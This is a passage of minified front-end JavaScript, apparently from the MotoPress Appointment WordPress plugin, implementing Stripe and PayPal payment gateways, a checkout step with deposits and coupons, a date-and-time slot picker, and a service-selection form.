methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const i=this.getCustomerDetails(),s=this.elements;return new Promise(((e,t)=>{s.submit().then((({error:i})=>{if(i){const e=i.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:s,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=i?.name)&&void 0!==a?a:null,email:null!==(r=i?.email)&&void 0!==r?r:null,phone:null!==(n=i?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,i){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const i=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(i)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const i=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:i.name,email:i.email,phone:i.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,i){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,i):super.processPayment(e,t,i)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Re extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,i){let s=super.createPaymentMethodData(e,t,i);return s.sofort={country:this.settings.country},s}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let i=this.view.selectedMethod,s=jQuery.extend({payment_method:i},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[i].processPayment(e,s,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),i=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((s=>{switch(s){case"payment":e.payment=new Be(t,i,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,i,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Oe(t,i,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Re(t,i,this.settings);break;case"ideal":e.ideal=new Ne(t,i,this.settings);break;case"giropay":e.giropay=new Ve(t,i,this.settings);break;case"sofort":e.sofort=new qe(t,i,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||i.disable(),e.addEventListener("change",(e=>{e.target.checked?i.enable():i.disable()}))}},onClick:function(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,i){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,i){return i.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class We{static createGateways(e,t){let i={};for(let s of m().settings().getActiveGateways()){let a=e.find(".mpa-"+s+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?We.createGateway(s,a,t):null;null!==r&&(i[s]=r)}return i.free=new Ae({},t),i}static createGateway(e,t,i){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,i);case"paypal":return new He(t,i);case"stripe":return new Ue(t,i);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,i)}}}class je extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let i="";return t>0&&(i+='<table class="widefat">',i+="<tbody>",i+='<tr class="mpa-deposit-title">',i+='<td class="column-title" colspan="2">',i+=u("Deposit","motopress-appointment"),i+="</td>",i+="</tr>",i+='<tr class="mpa-deposit-now">',i+='<th class="column-title">',i+=u("Paying now","motopress-appointment"),i+="</th>",i+='<th class="column-price">',i+=_e(e.deposit),i+="</th>",i+="</tr>",i+='<tr class="mpa-deposit-left">',i+='<th class="column-title">',i+=u("Left to pay","motopress-appointment"),i+="</th>",i+='<th class="column-price">',i+=_e(t),i+="</th>",i+="</tr>",i+="</tbody>",i+="</table>"),i}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=We.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,i){i in this.gateways&&this.gateways[i].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class ze extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,i){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let i=t.locale||m().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;"object"==typeof s&&(s.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:s,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,i)=>i.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return h("/calendar/time",{service_id:e,employee_in:s.employee_in?s.employee_in.join(","):"",location_in:s.location_in?s.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(i,"internal"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=" ",s+='<span class="mpa-slot-capacity">',s+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",s+="&nbsp;",s+='<span class="mpa-slot-capacity-number">'+i+"</span>",s+="</span>"}let r=ye(s,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),i++}i>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class Ge extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const i=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const i=W(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const i=W(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const i=W(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr("data-default");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(W)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(W)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(W)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in 